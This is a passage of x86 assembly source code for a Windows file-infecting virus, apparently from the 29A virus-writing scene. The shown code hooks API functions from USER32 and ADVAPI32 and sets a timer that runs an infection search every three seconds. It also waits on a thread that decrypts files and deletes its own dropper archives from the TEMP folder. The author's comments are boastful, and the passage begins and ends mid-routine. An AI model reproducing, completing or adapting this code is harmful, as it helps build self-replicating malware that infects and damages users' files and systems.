;its and then go back, mul- __hif_cDecryptFile: ;titasking world !!! push 50 push dword ptr [esp+00000004h] call [ebp+ddWaitForSingleObject] cmp [ebp+crypto_thread_err],'!A92' jz __hif_cDecryptFile ;crypto thread must decrypt call [ebp+ddCloseHandle] ;in stack is its handle __hif_finish: popf popa ret ;ÄÄÄ´ start HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;Before then I will start I must load "USER32", "ADVAPI32" ;libraries and re-write all my function offsets. I do NOT ;exactly know whether it must be but when I'll load these ;libraries sometimes later I should get other offset then ;after 1st running. Next, I must install timer on "Hyper ;Infection" function. ; hookHyperInfection: ; load "USER32.DLL" library lea eax,[ebp+user32_name] ;library name call [ebp+ddLoadLibraryA], eax or eax,eax ;failed ? jz __hhi_finish mov ebx,eax ; load "ADVAPI32.DLL" library lea eax,[ebp+advapi32_name] ;library name call [ebp+ddLoadLibraryA], eax or eax,eax ;failed ? jz __hhi_finish ; decrease/increase function bases cmp dword ptr [ebp+crypto_Action],00000000h jz __hhi_no_cryptography sub eax,[ebp+advapi_base] ;new memory position mov ecx,(HookedAddresses_user32 - \ HookedAddresses_advapi32) / 4 lea esi,[ebp+HookedAddresses_advapi32] __hhi_modify_advapi32: add [esi],eax loop __hhi_modify_advapi32 __hhi_no_cryptography: sub ebx,[ebp+user32_base] ;new memory position mov ecx,(FunctionNames - HookedAddresses_user32) / 4 __hhi_modify_user32: add [esi],ebx loop __hhi_modify_user32 ; set timer to the Prizzy Hyper Infection for API, "PHI-API" lea eax,[ebp+init_search] ;main function push eax push 3000 ;every 3 seconds :) push 00000000h ;timer identifier push 00000000h ;hwnd call [ebp+ddSetTimer] or eax,eax jz __hhi_finish mov [ebp+HyperInfection_timerID],eax mov byte ptr [ebp+search_start],00h ;PHI didnt begin __hhi_finish: mov dword ptr [ebp+HyperInfection_k32],00000001h ret ;ÄÄÄ´ finish HyperInfection inside KERNEL32.DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ hookHyperInfection_Done: ; remove timer push dword ptr [ebp+HyperInfection_timerID] call [ebp+ddKillTimer] ret ;ÄÄÄ´ common standard functions ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;--------------------------------------------------------- ;After every start of windows I compress some programs to ;TEMP directory (usually four new achives). And every win- ;dows run I have to delete them. ; __ctd_memory dd 00000000h ;place in memory __ctd_fmask db '29A*.TMP',0 ;file mask __ctd_fmask_len equ this byte - __ctd_fmask ; clear_temp_droppers: ; allocate moemory for TEMP directory mov eax,filename_size call malloc mov [ebp+__ctd_memory],eax ; get two TEMP directory push eax ;outta buffer push filename_size call [ebp+ddGetTempPathA] or eax,eax ;give me filepath length jz __ctd_dealloc ; copy filemask in the end of filename lea esi,[ebp+__ctd_fmask] ;file mask mov edi,[ebp+__ctd_memory] ;outta buffer add edi,eax ; + length of dir name mov ecx,__ctd_fmask_len ;length of file mask rep movsb ;copy me, my lord :) ! ; search them mov ebx,eax lea esi,[ebp+dta] ;i can use "infect_file" dta mov edx,[ebp+__ctd_memory] ;temp directory + file mask call __MyFindFirst jc __ctd_dealloc ; delete file __ctd_next_file: push eax ;find handle lea esi,[ebp+dta.dta_filename] mov edi,[ebp+__ctd_memory] add edi,ebx ; + length of dir name @copysz ;ahhh, JQwerty's macro :) push [ebp+__ctd_memory] ;filename call [ebp+ddDeleteFileA] ; search next file pop eax ;find handle lea esi,[ebp+dta] ;dta call __MyFindNext jnc __ctd_next_file ; close find handle call __MyFindClose ;find next file ! __ctd_dealloc: mov eax,[ebp+__ctd_memory] call mdealloc __ctd_failed: ret ;--------------------------------------------------------- ;Clear all archive structures, all droppers, all programs. ; clear_valuez: xor eax,eax lea edi,[ebp+NewArchive] mov ecx,NewArchiveNum * (NewArchiveSize / 4) rep stosd ; set libraries memory, info mov dword ptr [ebp+file_infected],00000000h mov eax,100 * 4 call malloc mov [ebp+crypto_library],eax mov dword ptr [ebp+crypto_nLib],00000000h ; clear HyperTable lea esi,[ebp+HyperTable] __cv_repeat: lodsb ;name or extension or end ? cmp al,0FFh jz __cv_finish call [ebp+ddlstrlen], esi ;get filename inc eax ;zero char add esi,eax mov byte ptr [esi],00h ;search flag ! add esi,HyperTable_HalfSize jmp __cv_repeat __cv_finish: ret ;--------------------------------------------------------- ;Convert Unicode filename to Ansi version. ; unicode2ansi: lea eax,[esp+00000034h] ;UniCode filename lea ebx,[ebp+filename] push 00000000h ;don't tell me about problem push 00000000h ;ignore unmappable characters push MAX_PATH ;how many bytes to allocate push ebx ;destination buffer